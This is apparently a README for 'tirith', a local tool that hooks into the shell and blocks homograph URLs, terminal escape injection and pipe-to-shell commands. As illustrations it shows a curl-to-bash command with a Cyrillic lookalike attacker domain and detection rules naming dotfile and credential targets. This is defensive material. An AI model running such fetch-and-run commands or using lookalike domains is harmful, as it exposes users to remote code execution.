tirith
Your browser would catch this. Your terminal won't.
Can you spot the difference?
curl -sSL https://install.example-cli.dev | bash # safe
curl -sSL https://іnstall.example-clі.dev | bash # compromised
You can't. Neither can your terminal. Both і characters are Cyrillic (U+0456), not Latin i. The second URL resolves to an attacker's server. The script executes before you notice.
Browsers solved this years ago. Terminals still render Unicode, ANSI escapes, and invisible characters without question.
Tirith stands at the gate.
&&
That's it. Every command you run is now guarded. Zero friction on clean input. Sub-millisecond overhead. You forget it's there until it saves you.
Also available via npm install -g tirith, cargo install tirith, scoop, and more.
See it work
Homograph attack — blocked before execution:
$ curl -sSL https://іnstall.example-clі.dev | bash
tirith: BLOCKED
[CRITICAL] non_ascii_hostname — Cyrillic і (U+0456) in hostname
This is a homograph attack. The URL visually mimics a legitimate
domain but resolves to a completely different server.
Set TIRITH=0 to bypass (use with caution)
The command never executes.
Pipe-to-shell with clean URL — warned, not blocked:
$ curl -fsSL https://get.docker.com | sh
tirith: WARNING
[MEDIUM] pipe_to_interpreter — Download piped to interpreter
Consider downloading first and reviewing.
Warning prints to stderr. Command still runs.
Normal commands — invisible:
$ git status
$ ls -la
$ docker compose up -d
Nothing. Zero output. You forget tirith is running.
What it catches
30 rules across 7 categories. All analysis is local. No network calls.
| Category | What it stops |
|---|---|
| Homograph attacks | Cyrillic/Greek lookalikes in hostnames, punycode domains, mixed-script labels |
| Terminal injection | ANSI escape sequences that rewrite your display, bidi overrides that reverse text, zero-width characters that hide in domains |
| Pipe-to-shell | curl | bash, wget | sh, python <(curl ...), eval $(wget ...) — every source-to-sink pattern |
| Dotfile attacks | Downloads targeting ~/.bashrc, ~/.ssh/authorized_keys, ~/.gitconfig — blocked, not just warned |
| Insecure transport | Plain HTTP piped to shell, curl -k, disabled TLS verification |
| Ecosystem threats | Git clone typosquats, untrusted Docker registries, pip/npm URL installs |
| Credential exposure | http://user:pass@host userinfo tricks, shortened URLs hiding destinations |
Install
macOS:
Linux / macOS (shell script):
|
npm:
Cargo:
Windows:
scoop bucket add tirith https://github.com/sheeki03/scoop-tirith
scoop install tirith
Arch Linux (AUR):
Then activate — add to your .zshrc, .bashrc, or config.fish:
| Shell | Hook type | Tested on |
|---|---|---|
| zsh | preexec + paste widget | 5.8+ |
| bash | preexec (two modes) | 5.0+ |
| fish | fish_preexec event | 3.5+ |
| PowerShell | PSReadLine handler | 7.0+ |
Commands
tirith check -- <cmd> Analyze a command without executing
tirith paste Analyze clipboard/pasted content
tirith score <url> URL trust breakdown
tirith diff <url> Byte-level Unicode comparison
tirith why Explain the last triggered rule
tirith run <url> Download-first safe installer runner
tirith receipt {last,list,verify} Install script tracking
tirith init Print shell hook for eval
tirith doctor Diagnostic info (paths, shell, policy)
tirith run replaces curl | bash with a safe workflow: download to temp file, show SHA256, static analysis, review in pager, execute only after confirmation. Creates a receipt you can verify later.
tirith diff shows you exactly what's wrong, byte by byte:
$ tirith diff https://exаmple.com
Position 3: expected 0x61 (Latin a) | got 0xd0 0xb0 (Cyrillic а)
What tirith never does
- No network calls during
checkorpaste— all analysis is local - No command rewriting — tirith never modifies what you typed
- No telemetry — nothing leaves your machine, ever
- No background processes — invoked per-command, exits immediately
- No cloud dependency — works offline, no accounts, no API keys
Configuration
Tirith uses a YAML policy file. Discovery order:
.tirith/policy.yamlin current directory (walks up to repo root)~/.config/tirith/policy.yaml
version: 1
allowlist:
- "get.docker.com"
- "sh.rustup.rs"
severity_overrides:
docker_untrusted_registry: critical
fail_mode: open # or "closed" for strict environments
More examples in docs/cookbook.md.
Bypass for the rare case you know exactly what you're doing:
TIRITH=0 |
Organizations can disable this: allow_bypass: false in policy.
Data handling
Local JSONL audit log at ~/.local/share/tirith/log.jsonl:
- Timestamp, action, rule ID, redacted command preview
- No full commands, environment variables, or file contents
Disable: export TIRITH_LOG=0
Docs
- Threat model — what tirith defends against and what it doesn't
- Cookbook — policy examples for common setups
- Troubleshooting — shell quirks, latency, false positives
- Compatibility — stable vs experimental surface
- Security policy — vulnerability reporting
- Uninstall — clean removal per shell and package manager
License
Apache-2.0. See LICENSE-APACHE for details.
Third-party data attributions in NOTICE.